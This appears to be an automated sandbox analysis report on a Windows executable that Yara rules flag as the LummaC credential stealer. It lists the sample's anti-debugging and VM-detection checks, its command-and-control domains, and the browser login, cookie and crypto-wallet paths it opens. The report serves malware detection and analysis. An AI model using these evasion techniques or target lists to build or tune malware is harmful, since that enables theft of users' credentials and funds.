Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280B42 second address: 5280B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280B46 second address: 5280BCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b mov eax, ebx 0x0000000d pushad 0x0000000e mov cx, dx 0x00000011 movsx ebx, si 0x00000014 popad 0x00000015 popad 0x00000016 je 00007F7C51C40171h 0x0000001c jmp 00007F7BE143291Ah 0x00000021 cmp dword ptr [75AF459Ch], 05h 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F7BE143291Eh 0x0000002f add al, 00000028h 0x00000032 jmp 00007F7BE143291Bh 0x00000037 popfd 0x00000038 push ecx 0x00000039 mov edx, 5F0E51CAh 0x0000003e pop ebx 0x0000003f popad 0x00000040 je 00007F7C51C58213h 0x00000046 jmp 00007F7BE143291Eh 0x0000004b xchg eax, esi 0x0000004c pushad 0x0000004d mov al, B8h 0x0000004f popad 0x00000050 push eax 0x00000051 jmp 00007F7BE143291Fh 0x00000056 xchg eax, esi 0x00000057 pushad 0x00000058 mov bh, ah 0x0000005a push eax 0x0000005b push edx 0x0000005c movsx ebx, cx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280C8D second address: 5280CA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BE163C2C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280CA5 second address: 5280CB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: 5280CB4 second address: 5280CBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Special instruction interceptor: First address: F38606 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Special instruction interceptor: First address: FA0BBB instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\bG89JAQXz2.exe TID: 3496	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe TID: 2616	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\bG89JAQXz2.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: bG89JAQXz2.exe, bG89JAQXz2.exe, 00000000.00000002.2375576749.0000000000EF3000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: bG89JAQXz2.exe, 00000000.00000002.2376009955.00000000012C8000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2346909079.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2222165274.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2305281621.0000000001312000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2376009955.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2332904305.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2372195133.0000000001314000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: bG89JAQXz2.exe, 00000000.00000002.2375576749.0000000000EF3000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: bG89JAQXz2.exe, 00000000.00000003.2248442316.0000000005C6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\bG89JAQXz2.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\bG89JAQXz2.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\bG89JAQXz2.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: NTICE
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: SICE
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: bG89JAQXz2.exe	String found in binary or memory: bashfulacid.lat
Source: bG89JAQXz2.exe	String found in binary or memory: curverpluch.lat
Source: bG89JAQXz2.exe	String found in binary or memory: tentabatte.lat
Source: bG89JAQXz2.exe	String found in binary or memory: shapestickyr.lat
Source: bG89JAQXz2.exe	String found in binary or memory: talkynicer.lat
Source: bG89JAQXz2.exe	String found in binary or memory: slipperyloo.lat
Source: bG89JAQXz2.exe	String found in binary or memory: manyrestro.lat
Source: bG89JAQXz2.exe	String found in binary or memory: observerfry.lat
Source: bG89JAQXz2.exe	String found in binary or memory: wordyfindy.lat

Source: bG89JAQXz2.exe, bG89JAQXz2.exe, 00000000.00000002.2375576749.0000000000EF3000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: `Program Manager

Source: C:\Users\user\Desktop\bG89JAQXz2.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\bG89JAQXz2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: bG89JAQXz2.exe, 00000000.00000003.2372297015.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2333090511.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2332723683.0000000001304000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2346909079.000000000137A000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000003.2332904305.0000000001314000.00000004.00000020.00020000.00000000.sdmp, bG89JAQXz2.exe, 00000000.00000002.2376426215.000000000137A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\bG89JAQXz2.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: bG89JAQXz2.exe PID: 6780, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: bG89JAQXz2.exe, 00000000.00000003.2305281621.0000000001312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: bG89JAQXz2.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: bG89JAQXz2.exe, 00000000.00000003.2333126633.000000000135E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :"Jaxx Liberty"},{"en":"fihkakfobkmkjojpchpfgcmhfjnmnfpi","ez":"BitApp"},{"en":"
Source: bG89JAQXz2.exe, 00000000.00000003.2305281621.0000000001312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: bG89JAQXz2.exe, 00000000.00000003.2305281621.0000000001312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: bG89JAQXz2.exe, 00000000.00000003.2332723683.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: bG89JAQXz2.exe, 00000000.00000003.2346909079.0000000001314000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
